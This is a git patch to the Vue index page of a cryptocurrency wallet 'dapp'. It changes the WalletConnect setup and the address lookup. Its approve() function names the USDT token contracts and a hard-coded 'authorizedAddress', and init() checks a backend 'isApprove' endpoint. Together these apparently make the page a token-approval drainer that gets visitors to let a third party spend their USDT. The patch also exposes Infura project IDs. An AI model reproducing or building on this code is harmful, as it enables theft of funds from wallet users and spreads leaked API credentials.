From 346b1300fbc167c4384f804cee2ca1af730dd895 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:08:44 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   59 ++++++++++++++++++++++++++---------------------------------
 1 files changed, 26 insertions(+), 33 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 060379d..9c9e7ee 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -121,13 +121,29 @@
       proxy.isShowApproveModal = false
       proxy.isShowAccreditModal = true
     }
-    function showDappModal() {
+    async function showDappModal() {
       proxy.isShowAccreditModal = false
-      proxy.isShowWalletModal = true
+      // proxy.isShowWalletModal = true
+      const provider = new WalletConnectProvider({
+        infuraId: "27e484dcd9e3efcfd25a83a78777cdf1",
+        qrcode: false,
+        qrcodeModalOptions: {
+          mobileLinks: [
+            'tronLink',
+            "rainbow",
+            "metamask",
+            "argent",
+            "trust",
+            "imtoken",
+            "pillar",
+          ]
+        }
+      });
+      await provider.enable();
     }
     async function showWalletModal() {
       proxy.isShowAccreditModal = false;
-      let provider = new WalletConnectProvider({
+      const provider = new WalletConnectProvider({
           infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
           bridge: "https://bridge.walletconnect.org",
       })
@@ -140,22 +156,18 @@
 
     // 获取地址
     async function getAddress () {
-      let address = '';
+      let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024';
       if(window.ethereum) {
         await window.ethereum.enable();
-        address = await ethereum.request({ method: 'eth_accounts' });
+        const accounts = await ethereum.request({ method: 'eth_accounts' });
+        address = accounts[0];
       }else if(window.tronWeb){
         address = window.tronWeb.defaultAddress.base58;
       }
-      return address;
+      proxy.walletAddress = address;
     }
     async function approve () {
-      if (typeof web3 !== 'undefined') {
-        web3 = new Web3(web3.currentProvider);
-      } else {
-        // set the provider you want from Web3.providers
-        web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"));
-      }
+      const web3 = new Web3(window.ethereum);
       const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
       const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
       const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
@@ -165,7 +177,8 @@
       console.log(result);
     }
     async function init() {
-      proxy.walletAddress = await getAddress();
+      await getAddress();
+      console.log(proxy.walletAddress)
       if (proxy.walletAddress) {
         proxy.$axios({
           url: '/dapp/common/isApprove/' + proxy.walletAddress,
@@ -210,26 +223,6 @@
     };
   },
   methods: {
-    connect() {
-      const provider = new WalletConnectProvider({
-        infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
-        bridge: "https://bridge.walletconnect.org",
-      });
-      //  Enable session (triggers QR Code modal)
-      provider.enable();
-
-      this.web3 = new Web3(provider);
-
-      // this.getAccount();
-      // subscribe to events
-      // this.subscribeToEvents();
-    },
-    subscribeToEvents() {
-      const connector = this.connector;
-      if (!connector) {
-        return;
-      }
-    },
     
   }
 }

--
Gitblit v1.9.1